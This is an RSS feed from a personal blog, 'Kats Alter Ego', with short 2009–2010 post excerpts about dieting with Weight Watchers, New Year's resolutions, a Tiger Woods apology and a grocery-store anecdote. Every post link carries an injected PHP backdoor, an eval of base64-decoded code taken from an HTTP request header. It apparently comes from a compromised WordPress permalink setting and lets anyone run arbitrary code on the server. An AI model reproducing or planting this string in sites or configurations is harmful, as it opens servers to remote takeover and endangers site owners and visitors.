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	<title>Kats Alter Ego</title>
	<link>http://katsalterego.com</link>
	<description>Kats skewed outlook on life, love and the pursuit of happiness</description>
	<lastBuildDate>Mon, 19 Apr 2010 20:52:19 +0000</lastBuildDate>
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		<title>Success comes in five pound increments!</title>
		<description>Success comes in five pound increments!

Having decided to lose this fluffy exterior that made me feel like the Pillsbury dough girl, I decided the best way to go for me is to turn weight loss into a game.  After joining a big loser club better known as Weight Watchers, ...</description>
		<link>http://katsalterego.com/2010/04/19/success-comes-in-five-pound-increments/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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	<item>
		<title>Tales of a Fluffy Girl Going Thin</title>
		<description>The longer I’m doing Weight Watchers the more I’m realizing that it’s not as complicated as some might think.  As a foodie, I can appreciate the fact that they aren’t telling me what I can and can not eat, I’m doing that on my own. Expense wise, if you ...</description>
		<link>http://katsalterego.com/2010/03/31/tales-of-a-fluffy-girl-going-thin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<title>Kat is Getting Her Beach Body Back!</title>
		<description>
In preparation for Summer 2010, better known as bikini top and board shorts weather, I’ve been slowly dropping some much unwanted poundage. While being “fluffy” does have its advantages, such as one will float vs. sink, it has a decidedly huge down side as well.
 
As you know I began ...</description>
		<link>http://katsalterego.com/2010/03/29/kats-getting-her-beach-body-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<title>Tiger Woods Public Apology</title>
		<description>
This morning, as I was getting dressed for work, I had on Fox11 news. Instead of seeing the usual traffic jams and hearing the news of the morning, I was forced to watch a very public apology of a man to his wife, family, friends, the general public and sponsors, ...</description>
		<link>http://katsalterego.com/2010/02/19/tiger-woods-public-apology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<title>Control issue&#8230;</title>
		<description>
Sometimes, I get so wrapped up in what I am doing that I don’t stop to ask for help for a plethora of reasons… such as I don’t want to sit there and explain something that would take me longer to explain than do myself, the idea that I might ...</description>
		<link>http://katsalterego.com/2010/02/08/control-issue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<title>Opening Oneself to Living Life!</title>
		<description>
I’ve decided this is the year that I’m going to open myself up to new things, new relationships, new experiences and new people, being willing to explore and accept myself I’m open to accept others into my life. 
 
Now that 2010 is in full swing, it’s time to grab ...</description>
		<link>http://katsalterego.com/2010/01/14/opening-ones-self-to-living-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Customer Service at it&#8217;s Finest!</title>
		<description>
Just recently, I had headed down to my local grocery store to buy feminine hygiene products, as I was out and the “auntie” came to visit. I moseyed over to the correct isle and while I was checking out the various products available to us women, I noticed a gaggle ...</description>
		<link>http://katsalterego.com/2010/01/08/customer-service-at-its-finest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Keeping up the Resolutions!</title>
		<description>

 


In the spirit of trying to keep my new years resolutions up and going, I’ve knuckled down and re-logged into a site I’ve known about for years. Fitday.com, is a free food tracking site and I must say it’s wonderful. I first discovered it way back in 2001 and ...</description>
		<link>http://katsalterego.com/2010/01/06/keeping-up-the-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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	<item>
		<title>Kats New Years Resolutions</title>
		<description>
It’s that time of year where we, take a couple of moments to toss about ideas for resolutions. So… here I go.
 
I resolve to do the following:
 


	Shed 30 pounds
	Post to the blog, at least once a week
	Take time off to smell the proverbial roses
	Meet up with my various ...</description>
		<link>http://katsalterego.com/2010/01/05/kats-new-years-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
			</item>
	<item>
		<title>Norad Tracks Santa!</title>
		<description>[caption id="" align="aligncenter" width="800" caption="Norad Santa Tracker"][/caption]

Its that time of year again... Norad has been using the Santa Tracker system to follow his progress across the globe.   Now you too can follow his journey across the globe as he drops off presents for good boys and girls all over the ...</description>
		<link>http://katsalterego.com/2009/12/24/norad-tracks-santa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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